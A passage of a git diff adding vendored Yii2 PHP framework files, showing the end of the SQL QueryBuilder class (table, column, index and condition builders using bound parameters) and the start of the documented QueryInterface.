$this->db->quoteTableName($table) . " (\n" . implode(",\n", $cols) . "\n)"; + + return $options === null ? $sql : $sql . ' ' . $options; + } + + /** + * Builds a SQL statement for renaming a DB table. + * @param string $oldName the table to be renamed. The name will be properly quoted by the method. + * @param string $newName the new table name. The name will be properly quoted by the method. + * @return string the SQL statement for renaming a DB table. + */ + public function renameTable($oldName, $newName) + { + return 'RENAME TABLE ' . $this->db->quoteTableName($oldName) . ' TO ' . $this->db->quoteTableName($newName); + } + + /** + * Builds a SQL statement for dropping a DB table. + * @param string $table the table to be dropped. The name will be properly quoted by the method. + * @return string the SQL statement for dropping a DB table. + */ + public function dropTable($table) + { + return "DROP TABLE " . $this->db->quoteTableName($table); + } + + /** + * Builds a SQL statement for adding a primary key constraint to an existing table. + * @param string $name the name of the primary key constraint. + * @param string $table the table that the primary key constraint will be added to. + * @param string|array $columns comma separated string or array of columns that the primary key will consist of. + * @return string the SQL statement for adding a primary key constraint to an existing table. + */ + public function addPrimaryKey($name, $table, $columns) + { + if (is_string($columns)) { + $columns = preg_split('/\s*,\s*/', $columns, -1, PREG_SPLIT_NO_EMPTY); + } + + foreach ($columns as $i => $col) { + $columns[$i] = $this->db->quoteColumnName($col); + } + + return 'ALTER TABLE ' . $this->db->quoteTableName($table) . ' ADD CONSTRAINT ' + . $this->db->quoteColumnName($name) . ' PRIMARY KEY (' + . implode(', ', $columns). ' )'; + } + + /** + * Builds a SQL statement for removing a primary key constraint to an existing table. + * @param string $name the name of the primary key constraint to be removed. + * @param string $table the table that the primary key constraint will be removed from. + * @return string the SQL statement for removing a primary key constraint from an existing table. + */ + public function dropPrimaryKey($name, $table) + { + return 'ALTER TABLE ' . $this->db->quoteTableName($table) + . ' DROP CONSTRAINT ' . $this->db->quoteColumnName($name); + } + + /** + * Builds a SQL statement for truncating a DB table. + * @param string $table the table to be truncated. The name will be properly quoted by the method. + * @return string the SQL statement for truncating a DB table. + */ + public function truncateTable($table) + { + return "TRUNCATE TABLE " . $this->db->quoteTableName($table); + } + + /** + * Builds a SQL statement for adding a new DB column. + * @param string $table the table that the new column will be added to. The table name will be properly quoted by the method. + * @param string $column the name of the new column. The name will be properly quoted by the method. + * @param string $type the column type. The [[getColumnType()]] method will be invoked to convert abstract column type (if any) + * into the physical one. Anything that is not recognized as abstract type will be kept in the generated SQL. + * For example, 'string' will be turned into 'varchar(255)', while 'string not null' will become 'varchar(255) not null'. + * @return string the SQL statement for adding a new column. + */ + public function addColumn($table, $column, $type) + { + return 'ALTER TABLE ' . $this->db->quoteTableName($table) + . ' ADD ' . $this->db->quoteColumnName($column) . ' ' + . $this->getColumnType($type); + } + + /** + * Builds a SQL statement for dropping a DB column. + * @param string $table the table whose column is to be dropped. The name will be properly quoted by the method. + * @param string $column the name of the column to be dropped. The name will be properly quoted by the method. + * @return string the SQL statement for dropping a DB column. + */ + public function dropColumn($table, $column) + { + return "ALTER TABLE " . $this->db->quoteTableName($table) + . " DROP COLUMN " . $this->db->quoteColumnName($column); + } + + /** + * Builds a SQL statement for renaming a column. + * @param string $table the table whose column is to be renamed. The name will be properly quoted by the method. + * @param string $oldName the old name of the column. The name will be properly quoted by the method. + * @param string $newName the new name of the column. The name will be properly quoted by the method. + * @return string the SQL statement for renaming a DB column. + */ + public function renameColumn($table, $oldName, $newName) + { + return "ALTER TABLE " . $this->db->quoteTableName($table) + . " RENAME COLUMN " . $this->db->quoteColumnName($oldName) + . " TO " . $this->db->quoteColumnName($newName); + } + + /** + * Builds a SQL statement for changing the definition of a column. + * @param string $table the table whose column is to be changed. The table name will be properly quoted by the method. + * @param string $column the name of the column to be changed. The name will be properly quoted by the method. + * @param string $type the new column type. The [[getColumnType()]] method will be invoked to convert abstract + * column type (if any) into the physical one. Anything that is not recognized as abstract type will be kept + * in the generated SQL. For example, 'string' will be turned into 'varchar(255)', while 'string not null' + * will become 'varchar(255) not null'. + * @return string the SQL statement for changing the definition of a column. + */ + public function alterColumn($table, $column, $type) + { + return 'ALTER TABLE ' . $this->db->quoteTableName($table) . ' CHANGE ' + . $this->db->quoteColumnName($column) . ' ' + . $this->db->quoteColumnName($column) . ' ' + . $this->getColumnType($type); + } + + /** + * Builds a SQL statement for adding a foreign key constraint to an existing table. + * The method will properly quote the table and column names. + * @param string $name the name of the foreign key constraint. + * @param string $table the table that the foreign key constraint will be added to. + * @param string|array $columns the name of the column to that the constraint will be added on. + * If there are multiple columns, separate them with commas or use an array to represent them. + * @param string $refTable the table that the foreign key references to. + * @param string|array $refColumns the name of the column that the foreign key references to. + * If there are multiple columns, separate them with commas or use an array to represent them. + * @param string $delete the ON DELETE option. Most DBMS support these options: RESTRICT, CASCADE, NO ACTION, SET DEFAULT, SET NULL + * @param string $update the ON UPDATE option. Most DBMS support these options: RESTRICT, CASCADE, NO ACTION, SET DEFAULT, SET NULL + * @return string the SQL statement for adding a foreign key constraint to an existing table. + */ + public function addForeignKey($name, $table, $columns, $refTable, $refColumns, $delete = null, $update = null) + { + $sql = 'ALTER TABLE ' . $this->db->quoteTableName($table) + . ' ADD CONSTRAINT ' . $this->db->quoteColumnName($name) + . ' FOREIGN KEY (' . $this->buildColumns($columns) . ')' + . ' REFERENCES ' . $this->db->quoteTableName($refTable) + . ' (' . $this->buildColumns($refColumns) . ')'; + if ($delete !== null) { + $sql .= ' ON DELETE ' . $delete; + } + if ($update !== null) { + $sql .= ' ON UPDATE ' . $update; + } + + return $sql; + } + + /** + * Builds a SQL statement for dropping a foreign key constraint. + * @param string $name the name of the foreign key constraint to be dropped. The name will be properly quoted by the method. + * @param string $table the table whose foreign is to be dropped. The name will be properly quoted by the method. + * @return string the SQL statement for dropping a foreign key constraint. + */ + public function dropForeignKey($name, $table) + { + return 'ALTER TABLE ' . $this->db->quoteTableName($table) + . ' DROP CONSTRAINT ' . $this->db->quoteColumnName($name); + } + + /** + * Builds a SQL statement for creating a new index. + * @param string $name the name of the index. The name will be properly quoted by the method. + * @param string $table the table that the new index will be created for. The table name will be properly quoted by the method. + * @param string|array $columns the column(s) that should be included in the index. If there are multiple columns, + * separate them with commas or use an array to represent them. Each column name will be properly quoted + * by the method, unless a parenthesis is found in the name. + * @param boolean $unique whether to add UNIQUE constraint on the created index. + * @return string the SQL statement for creating a new index. + */ + public function createIndex($name, $table, $columns, $unique = false) + { + return ($unique ? 'CREATE UNIQUE INDEX ' : 'CREATE INDEX ') + . $this->db->quoteTableName($name) . ' ON ' + . $this->db->quoteTableName($table) + . ' (' . $this->buildColumns($columns) . ')'; + } + + /** + * Builds a SQL statement for dropping an index. + * @param string $name the name of the index to be dropped. The name will be properly quoted by the method. + * @param string $table the table whose index is to be dropped. The name will be properly quoted by the method. + * @return string the SQL statement for dropping an index. + */ + public function dropIndex($name, $table) + { + return 'DROP INDEX ' . $this->db->quoteTableName($name) . ' ON ' . $this->db->quoteTableName($table); + } + + /** + * Creates a SQL statement for resetting the sequence value of a table's primary key. + * The sequence will be reset such that the primary key of the next new row inserted + * will have the specified value or 1. + * @param string $table the name of the table whose primary key sequence will be reset + * @param array|string $value the value for the primary key of the next new row inserted. If this is not set, + * the next new row's primary key will have a value 1. + * @return string the SQL statement for resetting sequence + * @throws NotSupportedException if this is not supported by the underlying DBMS + */ + public function resetSequence($table, $value = null) + { + throw new NotSupportedException($this->db->getDriverName() . ' does not support resetting sequence.'); + } + + /** + * Builds a SQL statement for enabling or disabling integrity check. + * @param boolean $check whether to turn on or off the integrity check. + * @param string $schema the schema of the tables. Defaults to empty string, meaning the current or default schema. + * @param string $table the table name. Defaults to empty string, meaning that no table will be changed. + * @return string the SQL statement for checking integrity + * @throws NotSupportedException if this is not supported by the underlying DBMS + */ + public function checkIntegrity($check = true, $schema = '', $table = '') + { + throw new NotSupportedException($this->db->getDriverName() . ' does not support enabling/disabling integrity check.'); + } + + /** + * Converts an abstract column type into a physical column type. + * The conversion is done using the type map specified in [[typeMap]]. + * The following abstract column types are supported (using MySQL as an example to explain the corresponding + * physical types): + * + * - `pk`: an auto-incremental primary key type, will be converted into "int(11) NOT NULL AUTO_INCREMENT PRIMARY KEY" + * - `bigpk`: an auto-incremental primary key type, will be converted into "bigint(20) NOT NULL AUTO_INCREMENT PRIMARY KEY" + * - `string`: string type, will be converted into "varchar(255)" + * - `text`: a long string type, will be converted into "text" + * - `smallint`: a small integer type, will be converted into "smallint(6)" + * - `integer`: integer type, will be converted into "int(11)" + * - `bigint`: a big integer type, will be converted into "bigint(20)" + * - `boolean`: boolean type, will be converted into "tinyint(1)" + * - `float``: float number type, will be converted into "float" + * - `decimal`: decimal number type, will be converted into "decimal" + * - `datetime`: datetime type, will be converted into "datetime" + * - `timestamp`: timestamp type, will be converted into "timestamp" + * - `time`: time type, will be converted into "time" + * - `date`: date type, will be converted into "date" + * - `money`: money type, will be converted into "decimal(19,4)" + * - `binary`: binary data type, will be converted into "blob" + * + * If the abstract type contains two or more parts separated by spaces (e.g. "string NOT NULL"), then only + * the first part will be converted, and the rest of the parts will be appended to the converted result. + * For example, 'string NOT NULL' is converted to 'varchar(255) NOT NULL'. + * + * For some of the abstract types you can also specify a length or precision constraint + * by appending it in round brackets directly to the type. + * For example `string(32)` will be converted into "varchar(32)" on a MySQL database. + * If the underlying DBMS does not support these kind of constraints for a type it will + * be ignored. + * + * If a type cannot be found in [[typeMap]], it will be returned without any change. + * @param string $type abstract column type + * @return string physical column type. + */ + public function getColumnType($type) + { + if (isset($this->typeMap[$type])) { + return $this->typeMap[$type]; + } elseif (preg_match('/^(\w+)\((.+?)\)(.*)$/', $type, $matches)) { + if (isset($this->typeMap[$matches[1]])) { + return preg_replace('/\(.+\)/', '(' . $matches[2] . ')', $this->typeMap[$matches[1]]) . $matches[3]; + } + } elseif (preg_match('/^(\w+)\s+/', $type, $matches)) { + if (isset($this->typeMap[$matches[1]])) { + return preg_replace('/^\w+/', $this->typeMap[$matches[1]], $type); + } + } + + return $type; + } + + /** + * @param array $columns + * @param array $params the binding parameters to be populated + * @param boolean $distinct + * @param string $selectOption + * @return string the SELECT clause built from [[Query::$select]]. + */ + public function buildSelect($columns, &$params, $distinct = false, $selectOption = null) + { + $select = $distinct ? 'SELECT DISTINCT' : 'SELECT'; + if ($selectOption !== null) { + $select .= ' ' . $selectOption; + } + + if (empty($columns)) { + return $select . ' *'; + } + + foreach ($columns as $i => $column) { + if ($column instanceof Expression) { + $columns[$i] = $column->expression; + $params = array_merge($params, $column->params); + } elseif (is_string($i)) { + if (strpos($column, '(') === false) { + $column = $this->db->quoteColumnName($column); + } + $columns[$i] = "$column AS " . $this->db->quoteColumnName($i); + } elseif (strpos($column, '(') === false) { + if (preg_match('/^(.*?)(?i:\s+as\s+|\s+)([\w\-_\.]+)$/', $column, $matches)) { + $columns[$i] = $this->db->quoteColumnName($matches[1]) . ' AS ' . $this->db->quoteColumnName($matches[2]); + } else { + $columns[$i] = $this->db->quoteColumnName($column); + } + } + } + + return $select . ' ' . implode(', ', $columns); + } + + /** + * @param array $tables + * @param array $params the binding parameters to be populated + * @return string the FROM clause built from [[Query::$from]]. + */ + public function buildFrom($tables, &$params) + { + if (empty($tables)) { + return ''; + } + + $tables = $this->quoteTableNames($tables, $params); + + return 'FROM ' . implode(', ', $tables); + } + + /** + * @param array $joins + * @param array $params the binding parameters to be populated + * @return string the JOIN clause built from [[Query::$join]]. + * @throws Exception if the $joins parameter is not in proper format + */ + public function buildJoin($joins, &$params) + { + if (empty($joins)) { + return ''; + } + + foreach ($joins as $i => $join) { + if (!is_array($join) || !isset($join[0], $join[1])) { + throw new Exception('A join clause must be specified as an array of join type, join table, and optionally join condition.'); + } + // 0:join type, 1:join table, 2:on-condition (optional) + list ($joinType, $table) = $join; + $tables = $this->quoteTableNames((array)$table, $params); + $table = reset($tables); + $joins[$i] = "$joinType $table"; + if (isset($join[2])) { + $condition = $this->buildCondition($join[2], $params); + if ($condition !== '') { + $joins[$i] .= ' ON ' . $condition; + } + } + } + + return implode($this->separator, $joins); + } + + /** + * Quotes table names passed + * + * @param array $tables + * @param array $params + * @return array + */ + private function quoteTableNames($tables, &$params) + { + foreach ($tables as $i => $table) { + if ($table instanceof Query) { + list($sql, $params) = $this->build($table, $params); + $tables[$i] = "($sql) " . $this->db->quoteTableName($i); + } elseif (is_string($i)) { + if (strpos($table, '(') === false) { + $table = $this->db->quoteTableName($table); + } + $tables[$i] = "$table " . $this->db->quoteTableName($i); + } elseif (strpos($table, '(') === false) { + if (preg_match('/^(.*?)(?i:\s+as|)\s+([^ ]+)$/', $table, $matches)) { // with alias + $tables[$i] = $this->db->quoteTableName($matches[1]) . ' ' . $this->db->quoteTableName($matches[2]); + } else { + $tables[$i] = $this->db->quoteTableName($table); + } + } + } + return $tables; + } + + /** + * @param string|array $condition + * @param array $params the binding parameters to be populated + * @return string the WHERE clause built from [[Query::$where]]. + */ + public function buildWhere($condition, &$params) + { + $where = $this->buildCondition($condition, $params); + + return $where === '' ? '' : 'WHERE ' . $where; + } + + /** + * @param array $columns + * @return string the GROUP BY clause + */ + public function buildGroupBy($columns) + { + return empty($columns) ? '' : 'GROUP BY ' . $this->buildColumns($columns); + } + + /** + * @param string|array $condition + * @param array $params the binding parameters to be populated + * @return string the HAVING clause built from [[Query::$having]]. + */ + public function buildHaving($condition, &$params) + { + $having = $this->buildCondition($condition, $params); + + return $having === '' ? '' : 'HAVING ' . $having; + } + + /** + * Builds the ORDER BY and LIMIT/OFFSET clauses and appends them to the given SQL. + * @param string $sql the existing SQL (without ORDER BY/LIMIT/OFFSET) + * @param array $orderBy the order by columns. See [[Query::orderBy]] for more details on how to specify this parameter. + * @param integer $limit the limit number. See [[Query::limit]] for more details. + * @param integer $offset the offset number. See [[Query::offset]] for more details. + * @return string the SQL completed with ORDER BY/LIMIT/OFFSET (if any) + */ + public function buildOrderByAndLimit($sql, $orderBy, $limit, $offset) + { + $orderBy = $this->buildOrderBy($orderBy); + if ($orderBy !== '') { + $sql .= $this->separator . $orderBy; + } + $limit = $this->buildLimit($limit, $offset); + if ($limit !== '') { + $sql .= $this->separator . $limit; + } + return $sql; + } + + /** + * @param array $columns + * @return string the ORDER BY clause built from [[Query::$orderBy]]. + */ + public function buildOrderBy($columns) + { + if (empty($columns)) { + return ''; + } + $orders = []; + foreach ($columns as $name => $direction) { + if ($direction instanceof Expression) { + $orders[] = $direction->expression; + } else { + $orders[] = $this->db->quoteColumnName($name) . ($direction === SORT_DESC ? ' DESC' : ''); + } + } + + return 'ORDER BY ' . implode(', ', $orders); + } + + /** + * @param integer $limit + * @param integer $offset + * @return string the LIMIT and OFFSET clauses + */ + public function buildLimit($limit, $offset) + { + $sql = ''; + if ($this->hasLimit($limit)) { + $sql = 'LIMIT ' . $limit; + } + if ($this->hasOffset($offset)) { + $sql .= ' OFFSET ' . $offset; + } + + return ltrim($sql); + } + + /** + * Checks to see if the given limit is effective. + * @param mixed $limit the given limit + * @return boolean whether the limit is effective + */ + protected function hasLimit($limit) + { + return is_string($limit) && ctype_digit($limit) || is_integer($limit) && $limit >= 0; + } + + /** + * Checks to see if the given offset is effective. + * @param mixed $offset the given offset + * @return boolean whether the offset is effective + */ + protected function hasOffset($offset) + { + return is_integer($offset) && $offset > 0 || is_string($offset) && ctype_digit($offset) && $offset !== '0'; + } + + /** + * @param array $unions + * @param array $params the binding parameters to be populated + * @return string the UNION clause built from [[Query::$union]]. + */ + public function buildUnion($unions, &$params) + { + if (empty($unions)) { + return ''; + } + + $result = ''; + + foreach ($unions as $i => $union) { + $query = $union['query']; + if ($query instanceof Query) { + list($unions[$i]['query'], $params) = $this->build($query, $params); + } + + $result .= 'UNION ' . ($union['all'] ? 'ALL ' : '') . '( ' . $unions[$i]['query'] . ' ) '; + } + + return trim($result); + } + + /** + * Processes columns and properly quote them if necessary. + * It will join all columns into a string with comma as separators. + * @param string|array $columns the columns to be processed + * @return string the processing result + */ + public function buildColumns($columns) + { + if (!is_array($columns)) { + if (strpos($columns, '(') !== false) { + return $columns; + } else { + $columns = preg_split('/\s*,\s*/', $columns, -1, PREG_SPLIT_NO_EMPTY); + } + } + foreach ($columns as $i => $column) { + if ($column instanceof Expression) { + $columns[$i] = $column->expression; + } elseif (strpos($column, '(') === false) { + $columns[$i] = $this->db->quoteColumnName($column); + } + } + + return is_array($columns) ? implode(', ', $columns) : $columns; + } + + /** + * Parses the condition specification and generates the corresponding SQL expression. + * @param string|array $condition the condition specification. Please refer to [[Query::where()]] + * on how to specify a condition. + * @param array $params the binding parameters to be populated + * @return string the generated SQL expression + */ + public function buildCondition($condition, &$params) + { + if (!is_array($condition)) { + return (string) $condition; + } elseif (empty($condition)) { + return ''; + } + + if (isset($condition[0])) { // operator format: operator, operand 1, operand 2, ... + $operator = strtoupper($condition[0]); + if (isset($this->conditionBuilders[$operator])) { + $method = $this->conditionBuilders[$operator]; + } else { + $method = 'buildSimpleCondition'; + } + array_shift($condition); + return $this->$method($operator, $condition, $params); + } else { // hash format: 'column1' => 'value1', 'column2' => 'value2', ... + return $this->buildHashCondition($condition, $params); + } + } + + /** + * Creates a condition based on column-value pairs. + * @param array $condition the condition specification. + * @param array $params the binding parameters to be populated + * @return string the generated SQL expression + */ + public function buildHashCondition($condition, &$params) + { + $parts = []; + foreach ($condition as $column => $value) { + if (is_array($value) || $value instanceof Query) { + // IN condition + $parts[] = $this->buildInCondition('IN', [$column, $value], $params); + } else { + if (strpos($column, '(') === false) { + $column = $this->db->quoteColumnName($column); + } + if ($value === null) { + $parts[] = "$column IS NULL"; + } elseif ($value instanceof Expression) { + $parts[] = "$column=" . $value->expression; + foreach ($value->params as $n => $v) { + $params[$n] = $v; + } + } else { + $phName = self::PARAM_PREFIX . count($params); + $parts[] = "$column=$phName"; + $params[$phName] = $value; + } + } + } + return count($parts) === 1 ? $parts[0] : '(' . implode(') AND (', $parts) . ')'; + } + + /** + * Connects two or more SQL expressions with the `AND` or `OR` operator. + * @param string $operator the operator to use for connecting the given operands + * @param array $operands the SQL expressions to connect. + * @param array $params the binding parameters to be populated + * @return string the generated SQL expression + */ + public function buildAndCondition($operator, $operands, &$params) + { + $parts = []; + foreach ($operands as $operand) { + if (is_array($operand)) { + $operand = $this->buildCondition($operand, $params); + } + if ($operand !== '') { + $parts[] = $operand; + } + } + if (!empty($parts)) { + return '(' . implode(") $operator (", $parts) . ')'; + } else { + return ''; + } + } + + /** + * Inverts an SQL expressions with `NOT` operator. + * @param string $operator the operator to use for connecting the given operands + * @param array $operands the SQL expressions to connect. + * @param array $params the binding parameters to be populated + * @return string the generated SQL expression + * @throws InvalidParamException if wrong number of operands have been given. + */ + public function buildNotCondition($operator, $operands, &$params) + { + if (count($operands) != 1) { + throw new InvalidParamException("Operator '$operator' requires exactly one operand."); + } + + $operand = reset($operands); + if (is_array($operand)) { + $operand = $this->buildCondition($operand, $params); + } + if ($operand === '') { + return ''; + } + + return "$operator ($operand)"; + } + + /** + * Creates an SQL expressions with the `BETWEEN` operator. + * @param string $operator the operator to use (e.g. `BETWEEN` or `NOT BETWEEN`) + * @param array $operands the first operand is the column name. The second and third operands + * describe the interval that column value should be in. + * @param array $params the binding parameters to be populated + * @return string the generated SQL expression + * @throws InvalidParamException if wrong number of operands have been given. + */ + public function buildBetweenCondition($operator, $operands, &$params) + { + if (!isset($operands[0], $operands[1], $operands[2])) { + throw new InvalidParamException("Operator '$operator' requires three operands."); + } + + list($column, $value1, $value2) = $operands; + + if (strpos($column, '(') === false) { + $column = $this->db->quoteColumnName($column); + } + $phName1 = self::PARAM_PREFIX . count($params); + $params[$phName1] = $value1; + $phName2 = self::PARAM_PREFIX . count($params); + $params[$phName2] = $value2; + + return "$column $operator $phName1 AND $phName2"; + } + + /** + * Creates an SQL expressions with the `IN` operator. + * @param string $operator the operator to use (e.g. `IN` or `NOT IN`) + * @param array $operands the first operand is the column name. If it is an array + * a composite IN condition will be generated. + * The second operand is an array of values that column value should be among. + * If it is an empty array the generated expression will be a `false` value if + * operator is `IN` and empty if operator is `NOT IN`. + * @param array $params the binding parameters to be populated + * @return string the generated SQL expression + * @throws Exception if wrong number of operands have been given. + */ + public function buildInCondition($operator, $operands, &$params) + { + if (!isset($operands[0], $operands[1])) { + throw new Exception("Operator '$operator' requires two operands."); + } + + list($column, $values) = $operands; + + if ($values === [] || $column === []) { + return $operator === 'IN' ? '0=1' : ''; + } + + if ($values instanceof Query) { + // sub-query + list($sql, $params) = $this->build($values, $params); + $column = (array)$column; + if (is_array($column)) { + foreach ($column as $i => $col) { + if (strpos($col, '(') === false) { + $column[$i] = $this->db->quoteColumnName($col); + } + } + return '(' . implode(', ', $column) . ") $operator ($sql)"; + } else { + if (strpos($column, '(') === false) { + $column = $this->db->quoteColumnName($column); + } + return "$column $operator ($sql)"; + } + } + + $values = (array) $values; + + if (count($column) > 1) { + return $this->buildCompositeInCondition($operator, $column, $values, $params); + } + + if (is_array($column)) { + $column = reset($column); + } + foreach ($values as $i => $value) { + if (is_array($value)) { + $value = isset($value[$column]) ? $value[$column] : null; + } + if ($value === null) { + $values[$i] = 'NULL'; + } elseif ($value instanceof Expression) { + $values[$i] = $value->expression; + foreach ($value->params as $n => $v) { + $params[$n] = $v; + } + } else { + $phName = self::PARAM_PREFIX . count($params); + $params[$phName] = $value; + $values[$i] = $phName; + } + } + if (strpos($column, '(') === false) { + $column = $this->db->quoteColumnName($column); + } + + if (count($values) > 1) { + return "$column $operator (" . implode(', ', $values) . ')'; + } else { + $operator = $operator === 'IN' ? '=' : '<>'; + return $column . $operator . reset($values); + } + } + + /** + * Builds SQL for IN condition + * + * @param string $operator + * @param array $columns + * @param array $values + * @param array $params + * @return string SQL + */ + protected function buildCompositeInCondition($operator, $columns, $values, &$params) + { + $vss = []; + foreach ($values as $value) { + $vs = []; + foreach ($columns as $column) { + if (isset($value[$column])) { + $phName = self::PARAM_PREFIX . count($params); + $params[$phName] = $value[$column]; + $vs[] = $phName; + } else { + $vs[] = 'NULL'; + } + } + $vss[] = '(' . implode(', ', $vs) . ')'; + } + foreach ($columns as $i => $column) { + if (strpos($column, '(') === false) { + $columns[$i] = $this->db->quoteColumnName($column); + } + } + + return '(' . implode(', ', $columns) . ") $operator (" . implode(', ', $vss) . ')'; + } + + /** + * Creates an SQL expressions with the `LIKE` operator. + * @param string $operator the operator to use (e.g. `LIKE`, `NOT LIKE`, `OR LIKE` or `OR NOT LIKE`) + * @param array $operands an array of two or three operands + * + * - The first operand is the column name. + * - The second operand is a single value or an array of values that column value + * should be compared with. If it is an empty array the generated expression will + * be a `false` value if operator is `LIKE` or `OR LIKE`, and empty if operator + * is `NOT LIKE` or `OR NOT LIKE`. + * - An optional third operand can also be provided to specify how to escape special characters + * in the value(s). The operand should be an array of mappings from the special characters to their + * escaped counterparts. If this operand is not provided, a default escape mapping will be used. + * You may use `false` or an empty array to indicate the values are already escaped and no escape + * should be applied. Note that when using an escape mapping (or the third operand is not provided), + * the values will be automatically enclosed within a pair of percentage characters. + * @param array $params the binding parameters to be populated + * @return string the generated SQL expression + * @throws InvalidParamException if wrong number of operands have been given. + */ + public function buildLikeCondition($operator, $operands, &$params) + { + if (!isset($operands[0], $operands[1])) { + throw new InvalidParamException("Operator '$operator' requires two operands."); + } + + $escape = isset($operands[2]) ? $operands[2] : ['%'=>'\%', '_'=>'\_', '\\'=>'\\\\']; + unset($operands[2]); + + if (!preg_match('/^(AND |OR |)(((NOT |))I?LIKE)/', $operator, $matches)) { + throw new InvalidParamException("Invalid operator '$operator'."); + } + $andor = ' ' . (!empty($matches[1]) ? $matches[1] : 'AND '); + $not = !empty($matches[3]); + $operator = $matches[2]; + + list($column, $values) = $operands; + + $values = (array) $values; + + if (empty($values)) { + return $not ? '' : '0=1'; + } + + if (strpos($column, '(') === false) { + $column = $this->db->quoteColumnName($column); + } + + $parts = []; + foreach ($values as $value) { + $phName = self::PARAM_PREFIX . count($params); + $params[$phName] = empty($escape) ? $value : ('%' . strtr($value, $escape) . '%'); + $parts[] = "$column $operator $phName"; + } + + return implode($andor, $parts); + } + + /** + * Creates an SQL expressions with the `EXISTS` operator. + * @param string $operator the operator to use (e.g. `EXISTS` or `NOT EXISTS`) + * @param array $operands contains only one element which is a [[Query]] object representing the sub-query. + * @param array $params the binding parameters to be populated + * @return string the generated SQL expression + * @throws InvalidParamException if the operand is not a [[Query]] object. + */ + public function buildExistsCondition($operator, $operands, &$params) + { + if ($operands[0] instanceof Query) { + list($sql, $params) = $this->build($operands[0], $params); + return "$operator ($sql)"; + } else { + throw new InvalidParamException('Subquery for EXISTS operator must be a Query object.'); + } + } + + /** + * Creates an SQL expressions like `"column" operator value`. + * @param string $operator the operator to use. Anything could be used e.g. `>`, `<=`, etc. + * @param array $operands contains two column names. + * @param array $params the binding parameters to be populated + * @return string the generated SQL expression + * @throws InvalidParamException if wrong number of operands have been given. + */ + public function buildSimpleCondition($operator, $operands, &$params) + { + if (count($operands) !== 2) { + throw new InvalidParamException("Operator '$operator' requires two operands."); + } + + list($column, $value) = $operands; + + if (strpos($column, '(') === false) { + $column = $this->db->quoteColumnName($column); + } + + if ($value === null) { + return "$column $operator NULL"; + } else { + $phName = self::PARAM_PREFIX . count($params); + $params[$phName] = $value; + return "$column $operator $phName"; + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/QueryInterface.php b/php/yii2/basic/vendor/yiisoft/yii2/db/QueryInterface.php new file mode 100644 index 00000000..103bded3 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/QueryInterface.php @@ -0,0 +1,254 @@ + + * @author Carsten Brandt + * @since 2.0 + */ +interface QueryInterface +{ + /** + * Executes the query and returns all results as an array. + * @param Connection $db the database connection used to execute the query. + * If this parameter is not given, the `db` application component will be used. + * @return array the query results. If the query results in nothing, an empty array will be returned. + */ + public function all($db = null); + + /** + * Executes the query and returns a single row of result. + * @param Connection $db the database connection used to execute the query. + * If this parameter is not given, the `db` application component will be used. + * @return array|boolean the first row (in terms of an array) of the query result. False is returned if the query + * results in nothing. + */ + public function one($db = null); + + /** + * Returns the number of records. + * @param string $q the COUNT expression. Defaults to '*'. + * @param Connection $db the database connection used to execute the query. + * If this parameter is not given, the `db` application component will be used. + * @return integer number of records + */ + public function count($q = '*', $db = null); + + /** + * Returns a value indicating whether the query result contains any row of data. + * @param Connection $db the database connection used to execute the query. + * If this parameter is not given, the `db` application component will be used. + * @return boolean whether the query result contains any row of data. + */ + public function exists($db = null); + + /** + * Sets the [[indexBy]] property. + * @param string|callable $column the name of the column by which the query results should be indexed by. + * This can also be a callable (e.g. anonymous function) that returns the index value based on the given + * row data. The signature of the callable should be: + * + * ~~~ + * function ($row) + * { + * // return the index value corresponding to $row + * } + * ~~~ + * + * @return static the query object itself + */ + public function indexBy($column); + + /** + * Sets the WHERE part of the query. + * + * The `$condition` specified as an array can be in one of the following two formats: + * + * - hash format: `['column1' => value1, 'column2' => value2, ...]` + * - operator format: `[operator, operand1, operand2, ...]` + * + * A condition in hash format represents the following SQL expression in general: + * `column1=value1 AND column2=value2 AND ...`. In case when a value is an array, + * an `IN` expression will be generated. And if a value is `null`, `IS NULL` will be used + * in the generated expression. Below are some examples: + * + * - `['type' => 1, 'status' => 2]` generates `(type = 1) AND (status = 2)`. + * - `['id' => [1, 2, 3], 'status' => 2]` generates `(id IN (1, 2, 3)) AND (status = 2)`. + * - `['status' => null] generates `status IS NULL`. + * + * A condition in operator format generates the SQL expression according to the specified operator, which + * can be one of the followings: + * + * - **and**: the operands should be concatenated together using `AND`. For example, + * `['and', 'id=1', 'id=2']` will generate `id=1 AND id=2`. If an operand is an array, + * it will be converted into a string using the rules described here. For example, + * `['and', 'type=1', ['or', 'id=1', 'id=2']]` will generate `type=1 AND (id=1 OR id=2)`. + * The method will *not* do any quoting or escaping. + * + * - **or**: similar to the `and` operator except that the operands are concatenated using `OR`. + * + * - **not**: this will take only one operator and build the negation of it by prefixing the query string with `NOT`. + * For example `['not', ['attribute' => null]]` will result in the condition `NOT (attribute IS NULL)`. + * + * - **between**: operand 1 should be the column name, and operand 2 and 3 should be the + * starting and ending values of the range that the column is in. + * For example, `['between', 'id', 1, 10]` will generate `id BETWEEN 1 AND 10`. + * + * - **not between**: similar to `between` except the `BETWEEN` is replaced with `NOT BETWEEN` + * in the generated condition. + * + * - **in**: operand 1 should be a column or DB expression, and operand 2 be an array representing + * the range of the values that the column or DB expression should be in. For example, + * `['in', 'id', [1, 2, 3]]` will generate `id IN (1, 2, 3)`. + * The method will properly quote the column name and escape values in the range. + * + * To create a composite `IN` condition you can use and array for the column name and value, where the values are indexed by the column name: + * `['in', ['id', 'name'], [['id' => 1, 'name' => 'foo'], ['id' => 2, 'name' => 'bar']] ]`. + * + * You may also specify a sub-query that is used to get the values for the `IN`-condition: + * `['in', 'user_id', (new Query())->select('id')->from('users')->where(['active' => 1])]` + * + * - **not in**: similar to the `in` operator except that `IN` is replaced with `NOT IN` in the generated condition. + * + * - **like**: operand 1 should be a column or DB expression, and operand 2 be a string or an array representing + * the values that the column or DB expression should be like. + * For example, `['like', 'name', 'tester']` will generate `name LIKE '%tester%'`. + * When the value range is given as an array, multiple `LIKE` predicates will be generated and concatenated + * using `AND`. For example, `['like', 'name', ['test', 'sample']]` will generate + * `name LIKE '%test%' AND name LIKE '%sample%'`. + * The method will properly quote the column name and escape special characters in the values. + * Sometimes, you may want to add the percentage characters to the matching value by yourself, you may supply + * a third operand `false` to do so. For example, `['like', 'name', '%tester', false]` will generate `name LIKE '%tester'`. + * + * - **or like**: similar to the `like` operator except that `OR` is used to concatenate the `LIKE` + * predicates when operand 2 is an array. + * + * - **not like**: similar to the `like` operator except that `LIKE` is replaced with `NOT LIKE` + * in the generated condition. + * + * - **or not like**: similar to the `not like` 